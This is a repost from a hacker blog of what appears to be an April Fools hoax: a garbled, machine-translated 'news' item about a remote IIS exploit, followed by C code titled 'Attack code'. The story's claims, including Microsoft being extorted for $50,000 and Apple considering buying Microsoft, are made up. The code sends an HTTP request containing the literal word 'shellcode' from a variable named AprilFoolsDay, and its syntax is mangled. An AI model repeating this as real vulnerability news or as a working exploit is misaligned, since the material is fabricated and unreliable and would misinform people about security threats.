[+] IIS Remote Exploit Code Discovered | @yuange1975

/***
     ▄▄▄▄▄▄▄▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄     ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▄▄▄▄▄
    ▐░░░░░░░░░░▌ ▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
    ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌   ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀▀▀▀█░▌
    ▐░▌       ▐░▌▐░▌       ▐░▌   ▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
    ▐░▌       ▐░▌▐░█▄▄▄▄▄▄▄█░▌   ▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄▄▄ ▐░█▄▄▄▄▄▄▄█░▌▐░█▄▄▄▄▄▄▄█░▌
    ▐░▌       ▐░▌▐░░░░░░░░░░░▌   ▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌▐░░░░░░░░░░░▌
    ▐░▌       ▐░▌▐░█▀▀▀▀█░█▀▀    ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀ ▐░█▀▀▀▀▀▀▀▀▀ ▐░█▀▀▀▀▀▀▀█░▌▐░█▀▀▀▀█░█▀▀
    ▐░▌       ▐░▌▐░▌     ▐░▌     ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌  ▐░▌          ▐░▌       ▐░▌▐░▌     ▐░▌
    ▐░█▄▄▄▄▄▄▄█░▌▐░▌      ▐░▌  ▄ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌ ▐░▌          ▐░▌       ▐░▌▐░▌      ▐░▌
    ▐░░░░░░░░░░▌ ▐░▌       ▐░▌▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌▐░▌          ▐░▌       ▐░▌▐░▌       ▐░▌
     ▀▀▀▀▀▀▀▀▀▀   ▀         ▀  ▀  ▀            ▀         ▀  ▀         ▀  ▀            ▀         ▀  ▀         ▀



~~~ :xD: Have Fun. Don't Forget To Bookmark This Website :xD:
~~~ https://www.FaceBook.com/Dr.FarFar
~~~ http://Dr-FarFar.BlogSpot.com/

*/

###################################################################################################

IIS Remote Exploit code discovered

IIS discovered remotely exploitable code. APT Microsoft headquarters yesterday found to be scored,
Microsoft engineers convened AN emergency overnight analysis,
general manager OF Microsoft's Trustworthy Computing division,
according to John revealed that hackers might be a means OF Microsoft's IIS server scored,
the analysis may take advantage OF the "\ n" string vulnerabilities. Microsoft released AN emergency notice,
please turn off all administrators wait for Microsoft to fix the IIS server.
Microsoft also revealed IN private, Microsoft's software download server patch server is also being attacked,
Microsoft engineers have considered installing their latest operating system, YU, Xiao Bian
also proposed to delete recently upgraded online to download a patch or Microsoft operating systems.
Microsoft's firewall department notified all firewall add rule filter "\ n".
According to the latest FBI informant news, Microsoft HAS received a $ 50,000 extortion calls,
if Microsoft does NOT agree, the hacker will publish the source code for all Microsoft products.
Emergency call Mr. Bill Gates OF Microsoft headquarters IN the former president,
consulting whether to enable the fund installments Bill Gates,
extorted large sums OF money to meet the requirements OF hackers.
According to the latest news, Apple's headquarters HAS received calls Bill Gates,
Apple's headquarters is being held AN emergency meeting OF the Board to discuss whether to use Apple's
reserve funds acquired by Microsoft.
According to Microsoft engineers @ qianruzhe revealed the presence OF more THAN a decade HAS analyzed
Department OF Information forgery vulnerabilities caused by buffer overflow,
IIS error handling equation "a = b \ nc = d" IN "\ n" character,
get a = d After the hacker CAN forge any equation to calculate cpu crash overflow.
Microsoft vulnerability urgent bulletin "Exploitability Index" is the most dangerous one,
the relevant information is also suspected to have been leaked mapp partner,
attacked the program may occur during the day, Reuters reported vulnerabilities ready for your latest news.
General manager OF Microsoft's Trustworthy Computing @ JohnLaTwC HAS expressed concern the latest developments OF this event,
but unfortunately John was a great effort gateway ON the outside, CAN NOT access Sina Weibo,
CAN only helplessly attention ON twitter @ yuange75 , expect me to point message forwarding IN the past.
Network discovered exploit code is NOT complete, http://t.cn/zOSYPAm .
Though they really true or false.
      Cheated to please raise their hands, since that did NOT cheated to please raise your hands! @ Caoz @ tombkeeper headlines @ @ billgates @ legendary WTA police @ dm557 @ benjurry @ Fenng @ Fang Qiangqiang I Laodu Wu Frankie @ @ U.S. Embassy @ unfortunately silent

       Engage IN security is to learn to become a BIG liar, when everyone is when you cheat you grasp the nature OF the security.

###################################################################################################

  Attack code:

/ *
iisexp41.c ver4.1 Copy By @ yuange1975
Though they really true or false.

* /
# Include <stdio.h>
# Include <stdlib.h>
# Include <winsock2.h>
# Include <windows.h>
# Include <mswsock.h>
# Include <wsnwlink.h>
# Include <ws2tcpip.h>
# Include <process.h> / * _beginthread, _endthread * /
# Include <errno.h>
# Include <io.h>
# Include <conio.h>
# Pragma comment (lib, "ws2_32")
# Pragma comment (lib, "Mswsock")
char * AprilFoolsDay = ". GET / AprilFools'Day php HTTP/1.1 \ r \ nHOST: weibo.com/yuange1975 \ r \ na = b \ nc: shellcode \ r \ n \ r \ n";
static unsigned int maybe_lookup_host (char * name)
{
unsigned long ulAddr = INADDR_NONE;
/ * Don't bother resolving raw IP addresses, naturally. * /
ulAddr = inet_addr ((char *) name);
if (ulAddr! = INADDR_NONE && ulAddr! = INADDR_ANY)
return (unsigned int) ulAddr;
return 0;
}
int do_exp (char * hostname, unsigned int port)
{
SOCKET hScoket = INVALID_SOCKET;
struct sockaddr_in sin;
unsigned int addr = 0;
int write_res = 0;
char * crash_buf = NULL;
int crash_buflen = 0;
/ *
create SOCKET
* /
hScoket = WSASocket (AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0 / * WSA_FLAG_OVERLAPPED * /);
if (hScoket == INVALID_SOCKET) {
printf_s ("WSASocket function failed with error =% d \ n", WSAGetLastError ());
return -1;
}
/ * Resolved IP address * /
addr = maybe_lookup_host (hostname);
sin.sin_family = AF_INET;
sin.sin_port = htons (port);
memcpy (& sin.sin_addr, & addr, 4);
/ *
connect
* /
if (connect (hScoket, (struct sockaddr *) & sin, sizeof (struct sockaddr_in)) == SOCKET_ERROR) {
if (WSAEWOULDBLOCK! = WSAGetLastError ()) {
closesocket (hScoket);
printf_s ("connect function failed with error:% ld \ n", WSAGetLastError ());
return -1;
}
}

printf ("[*] connected to% s:% d \ n", hostname, port);

/ / Build_crash_package (& crash_buf, & crash_buflen);
crash_buf = AprilFoolsDay;
crash_buflen = strlen (AprilFoolsDay);

/ *
send data to remote target
* /
write_res = send (hScoket,
crash_buf,
crash_buflen,
0);


printf ("[*] send% d bytes \ n", write_res);

closesocket (hScoket);
return 0;
}
int main (int argc, const char ** argv)
{
int iResult;
int count = 0;
char * target_ip = (char *) argv [1];
WSADATA wsaData;
if (target_ip |! | argc <2) {
printf_s ("usage: <target_ip> \ n");
return 0;
}


/ * Initialize Winsock * /
iResult = WSAStartup (MAKEWORD (2, 2), & wsaData);
if (iResult! = 0) {
printf_s ("WSAStartup failed:% d \ n", iResult);
return -1;
}
do_exp (target_ip, 80);

/ * Clean - win socket * /
WSACleanup ();
return 0;
}


########################################################################################################################

        https://www.facebook.com/Dr.FarFar
        http://Dr-FarFar.BlogSpot.com/

        ________         __________                __________
        ___  __ \___________  ____/______ ____________  ____/______ _________
        __  / / /__  ___/__  /_    _  __ `/__  ___/__  /_    _  __ `/__  ___/
        _  /_/ / _  /___ _  __/    / /_/ / _  /    _  __/    / /_/ / _  /
        /_____/  /_/ _(_)/_/       \__,_/  /_/     /_/       \__,_/  /_/

                             ~\ Dr.FarFar /~